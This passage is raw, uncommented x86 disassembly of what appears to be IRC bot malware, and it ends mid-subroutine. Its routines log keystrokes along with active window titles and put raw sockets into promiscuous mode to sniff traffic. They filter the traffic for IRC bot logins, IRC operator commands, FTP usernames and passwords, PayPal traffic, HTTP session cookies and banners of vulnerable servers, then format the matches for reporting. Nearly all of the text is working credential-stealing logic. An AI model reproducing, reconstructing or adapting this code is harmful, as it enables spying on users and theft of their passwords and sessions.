mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_4CB5D8 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB5F0 ; GetWindowTextA
mov ebx, 200h
loc_411D50: ; CODE XREF: sub_411CF5+2C7j
push 8
call ds:dword_427078 ; Sleep
call dword_4CB5D8 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_411DD8
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB5F0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax ; int
lea eax, [ebp+Dest]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax ; int
call _sprintf
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+Dest]
push 25h
pop ecx
mov edi, esp
push eax ; int
rep movsd
call sub_411C14
mov [ebp+var_4], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_411DD8: ; CODE XREF: sub_411CF5+6Cj
mov [ebp+arg_0], offset aB_0 ; "b"
loc_411DDF: ; CODE XREF: sub_411CF5+2BDj
push 10h
call dword_4CB528 ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_4CB620 ; GetAsyncKeyState
test ah, 80h
jz short loc_411E77
push 14h
call dword_4CB528 ; GetKeyState
test ax, ax
jz short loc_411E28
cmp esi, 0FFFFFFFFh
jle short loc_411E28
cmp edi, 40h
jle short loc_411E28
cmp edi, 5Bh
jge short loc_411E28
mov [ebp+edi*4+var_8DC], 1
jmp loc_411FA7
; ---------------------------------------------------------------------------
loc_411E28: ; CODE XREF: sub_411CF5+112j
; sub_411CF5+117j ...
push 14h
call dword_4CB528 ; GetKeyState
test ax, ax
jz short loc_411E53
test esi, esi
jge short loc_411E67
cmp edi, 40h
jle short loc_411E53
cmp edi, 5Bh
jge short loc_411E53
mov [ebp+edi*4+var_8DC], 2
jmp loc_411FA7
; ---------------------------------------------------------------------------
loc_411E53: ; CODE XREF: sub_411CF5+13Ej
; sub_411CF5+147j ...
test esi, esi
jge short loc_411E67
mov [ebp+edi*4+var_8DC], 3
jmp loc_411FA7
; ---------------------------------------------------------------------------
loc_411E67: ; CODE XREF: sub_411CF5+142j
; sub_411CF5+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_411FA7
; ---------------------------------------------------------------------------
loc_411E77: ; CODE XREF: sub_411CF5+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_411FA7
and dword ptr [eax], 0
lea eax, [ebp+Dst]
cmp edi, 8
push eax ; Str
jnz short loc_411EAF
call _strlen
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_411FA7
; ---------------------------------------------------------------------------
loc_411EAF: ; CODE XREF: sub_411CF5+1A5j
call _strlen
cmp eax, 1B9h
pop ecx
jbe short loc_411EE1
call dword_4CB5D8 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB5F0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_411F22
; ---------------------------------------------------------------------------
loc_411EE1: ; CODE XREF: sub_411CF5+1C5j
cmp edi, 0Dh
jnz loc_411F79
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jz loc_411FA7
call dword_4CB5D8 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB5F0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax ; int
push offset aSReturnS ; "%s (Return) (%s)"
loc_411F22: ; CODE XREF: sub_411CF5+1EAj
lea eax, [ebp+Dest]
push eax ; int
call _sprintf
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+Dest]
push 25h
pop ecx
mov edi, esp
push eax ; int
rep movsd
call sub_411C14
mov [ebp+var_4], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
jmp short loc_411FA7
; ---------------------------------------------------------------------------
loc_411F79: ; CODE XREF: sub_411CF5+1EFj
cmp esi, 1
jz short loc_411F92
cmp esi, 3
jz short loc_411F92
cmp esi, 2
jz short loc_411F8D
cmp esi, 4
jnz short loc_411FA7
loc_411F8D: ; CODE XREF: sub_411CF5+291j
push [ebp+arg_0]
jmp short loc_411F99
; ---------------------------------------------------------------------------
loc_411F92: ; CODE XREF: sub_411CF5+287j
; sub_411CF5+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax ; Source
loc_411F99: ; CODE XREF: sub_411CF5+29Bj
lea eax, [ebp+Dst]
push eax ; Dest
call _strcat
pop ecx
pop ecx
loc_411FA7: ; CODE XREF: sub_411CF5+12Ej
; sub_411CF5+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_4354E4
jl loc_411DDF
cmp [ebp+var_4], 0
jz loc_411D50
push [ebp+var_D8]
call sub_40B413
pop ecx
push 0
call ds:dword_4270CC ; ExitThread
sub_411CF5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411FD6 proc near ; DATA XREF: sub_401ACD+412Bo
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
Str = byte ptr -1028Ch
Dest = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call __alloca_probe
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call dword_4CB654 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AC10
pop ecx
push eax
call dword_4CB694 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4CB6D4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_4120AB
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_435EEC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_41208E
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409A73
add esp, 14h
loc_41208E: ; CODE XREF: sub_411FD6+96j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_30]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_4120AB: ; CODE XREF: sub_411FD6+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_43E59C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CB680 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412130
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_435EC0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_41210C
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409A73
add esp, 14h
loc_41210C: ; CODE XREF: sub_411FD6+114j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC ; closesocket
push [ebp+var_30]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_412130: ; CODE XREF: sub_411FD6+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4CB600 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4121B3
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_435E90 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_41218F
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409A73
add esp, 14h
loc_41218F: ; CODE XREF: sub_411FD6+197j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC ; closesocket
push [ebp+var_30]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_4121B3: ; CODE XREF: sub_411FD6+177j
push ebx
mov ebx, offset a_login ; ":.login"
loc_4121B9: ; CODE XREF: sub_411FD6+21Bj
; sub_411FD6+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB66C ; recv
cmp eax, 0FFFFFFFFh
jz loc_4122E6
cmp [ebp+var_102AB], 6
jnz short loc_4121B9
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_4121B9
lea eax, [ebp+Str]
push offset aPsniff_0 ; "[PSNIFF]"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4121B9
lea eax, [ebp+Str]
push offset asc_435E74 ; "-"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4121B9
mov eax, ebx
xor edi, edi
test eax, eax
jz loc_4121B9
mov [ebp+arg_0], ebx
loc_412242: ; CODE XREF: sub_411FD6+287j
push eax ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412264
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412242
jmp loc_4121B9
; ---------------------------------------------------------------------------
loc_412264: ; CODE XREF: sub_411FD6+27Dj
lea eax, [ebp+Str]
push eax
push [ebp+var_102A0]
call dword_4CB584 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_4355BC[eax*8]
push off_435598[eax*4]
lea eax, [ebp+Dest]
push offset asc_435E40 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_4122D4
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409A73
add esp, 14h
loc_4122D4: ; CODE XREF: sub_411FD6+2DCj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
jmp loc_4121B9
; ---------------------------------------------------------------------------
loc_4122E6: ; CODE XREF: sub_411FD6+20Ej
call dword_4CB5E8 ; WSAGetLastError
push eax
push offset asc_435E14 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_41232C
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409A73
add esp, 14h
loc_41232C: ; CODE XREF: sub_411FD6+334j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push [ebp+var_4]
call dword_4CB6EC ; closesocket
push [ebp+var_30]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
sub_411FD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412352 proc near ; CODE XREF: sub_412661+213p
; sub_412661+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE3C0, eax
mov eax, offset dword_4CE3C0
retn
sub_412352 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412361(char *Str)
sub_412361 proc near ; CODE XREF: sub_412661+2BFp
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aBotSniff ; "Bot sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41237B
loc_412377: ; CODE XREF: sub_412361+29j
; sub_412361+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41237B: ; CODE XREF: sub_412361+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aPsniff_1 ; "[PSNIFF]:"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aPsniff_2 ; "PSNIFF//"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aJoin_0 ; "JOIN #"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4123C3
loc_4123BF: ; CODE XREF: sub_412361+71j
; sub_412361+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4123C3: ; CODE XREF: sub_412361+5Cj
push offset a302 ; "302 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a366 ; "366 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_login_0 ; ":.login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aLogin_0 ; ":!login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aLogin_1 ; ":!Login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_login_1 ; ":.Login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_ident ; ":.ident"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aIdent_0 ; ":!ident"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz loc_4123BF
push offset a_hashin ; ":.hashin"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz loc_4123BF
push offset aHashin ; ":!hashin"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412361 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412478(char *Str)
sub_412478 proc near ; CODE XREF: sub_412661+2F8p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aIrcSniff ; "IRC sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412492
loc_41248E: ; CODE XREF: sub_412478+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412492: ; CODE XREF: sub_412478+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41248E
push offset aOper ; "OPER "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4124B8
loc_4124B4: ; CODE XREF: sub_412478+4Fj
; sub_412478+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124B8: ; CODE XREF: sub_412478+3Aj
push offset aNick_1 ; "NICK "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B4
push offset aOper_0 ; "oper "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B4
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412478 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4124EE(char *Str)
sub_4124EE proc near ; CODE XREF: sub_412661+32Ep
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aFtpSniff ; "FTP sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412508
loc_412504: ; CODE XREF: sub_4124EE+29j
; sub_4124EE+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412508: ; CODE XREF: sub_4124EE+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412504
push offset aNick_1 ; "NICK "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412504
push offset a220 ; "220 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41253F
loc_41253B: ; CODE XREF: sub_4124EE+60j
; sub_4124EE+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41253F: ; CODE XREF: sub_4124EE+4Bj
push offset a230 ; "230 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41253B
push offset aUser_2 ; "USER "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41253B
push offset aPass_0 ; "PASS "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124EE endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412575(char *Str)
sub_412575 proc near ; CODE XREF: sub_412661+35Fp
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aHttpSniff ; "HTTP sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41258F
loc_41258B: ; CODE XREF: sub_412575+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41258F: ; CODE XREF: sub_412575+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41258B
push offset aPaypal ; "paypal"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4125B5
loc_4125B1: ; CODE XREF: sub_412575+4Fj
; sub_412575+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125B5: ; CODE XREF: sub_412575+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aPaypal_com ; "PAYPAL.COM"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aPaypal_com_0 ; "paypal.com"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aSetCookie ; "Set-Cookie:"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412575 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4125FC(char *Str)
sub_4125FC proc near ; CODE XREF: sub_412661:loc_412A26p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aVulnSniff ; "VULN sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412616
loc_412612: ; CODE XREF: sub_4125FC+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412616: ; CODE XREF: sub_4125FC+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412612
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41263C
loc_412638: ; CODE XREF: sub_4125FC+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41263C: ; CODE XREF: sub_4125FC+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412638
push offset aOpenssh_2 ; "OpenSSH_2"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412661 proc near ; DATA XREF: sub_401ACD+427Do
Dst = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
Str = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
Dest = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB668 ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4CB6D8 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx ; Size
push dword ptr [eax] ; Src
lea eax, [ebp+var_8]
push eax ; Dst
call _memcpy
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CB6D4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412707
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412707: ; CODE XREF: sub_412661+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CB680 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_41277D
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_4361C0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412759
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409A73
add esp, 14h
loc_412759: ; CODE XREF: sub_412661+D6j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC ; closesocket
push [ebp+var_34]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_41277D: ; CODE XREF: sub_412661+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB600 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412803
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_436190 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4127DF
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409A73
add esp, 14h
loc_4127DF: ; CODE XREF: sub_412661+15Cj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC ; closesocket
push [ebp+var_34]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_412803: ; CODE XREF: sub_412661+13Cj
mov esi, 200h
loc_412808: ; CODE XREF: sub_412661+1D6j
; sub_412661+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+Dst]
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB66C ; recv
cmp [ebp+var_113AF], 6
jnz short loc_412808
push [ebp+var_113A4]
mov edi, ds:dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_412808
cmp [ebp+arg_0], 19h
jz short loc_412808
cmp edi, 6Eh
jz short loc_412808
cmp edi, 19h
jz short loc_412808
push [ebp+var_113AC]
call sub_412352
pop ecx
push dword ptr [eax]
call ds:dword_4271E8 ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
push [ebp+var_113A8]
call sub_412352
add esp, 10h
push dword ptr [eax]
call ds:dword_4271E8 ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
mov [ebp+var_4], ebx
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jle short loc_412906
loc_4128D2: ; CODE XREF: sub_412661+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+Str], 0Dh
lea eax, [ebp+eax+Str]
jnz short loc_4128E9
mov byte ptr [eax], 20h
loc_4128E9: ; CODE XREF: sub_412661+283j
cmp byte ptr [eax], 0Ah
jnz short loc_4128F1
mov byte ptr [eax], 20h
loc_4128F1: ; CODE XREF: sub_412661+28Bj
inc [ebp+var_4]
lea eax, [ebp+Str]
push eax ; Str
call _strlen
cmp [ebp+var_4], eax
pop ecx
jl short loc_4128D2
loc_412906: ; CODE XREF: sub_412661+26Fj
cmp [ebp+arg_0], 50h
jz loc_4129B9
cmp edi, 50h
jz loc_4129B9
lea eax, [ebp+Str]
push eax ; Str
call sub_412361
test al, al
pop ecx
jz short loc_41294D
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43615C
jmp loc_4129E8
; ---------------------------------------------------------------------------
loc_41294D: ; CODE XREF: sub_412661+2C7j
cmp edi, 50h
jz short loc_4129B9
lea eax, [ebp+Str]
push eax ; Str
call sub_412478
test al, al
pop ecx
jz short loc_412983
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436128
jmp short loc_4129E8
; ---------------------------------------------------------------------------
loc_412983: ; CODE XREF: sub_412661+300j
cmp edi, 50h
jz short loc_4129B9
lea eax, [ebp+Str]
push eax ; Str
call sub_4124EE
test al, al
pop ecx
jz short loc_4129B9
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4360F4
jmp short loc_4129E8
; ---------------------------------------------------------------------------
loc_4129B9: ; CODE XREF: sub_412661+2A9j
; sub_412661+2B2j ...
lea eax, [ebp+Str]
push eax ; Str
call sub_412575
test al, al
pop ecx
lea eax, [ebp+Str]
push eax
jz short loc_412A26
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset asc_4360BC ; "-"
loc_4129E8: ; CODE XREF: sub_412661+2E7j
; sub_412661+320j ...
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412808
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409A73
add esp, 14h
jmp loc_412808
; ---------------------------------------------------------------------------
loc_412A26: ; CODE XREF: sub_412661+36Ej
call sub_4125FC
test al, al
pop ecx
jz loc_412808
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436084
jmp short loc_4129E8
sub_412661 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A54 proc near ; DATA XREF: sub_401ACD+6543o
Dest = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = dword ptr -18Ch
Str = byte ptr -10Ch
Str1 = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
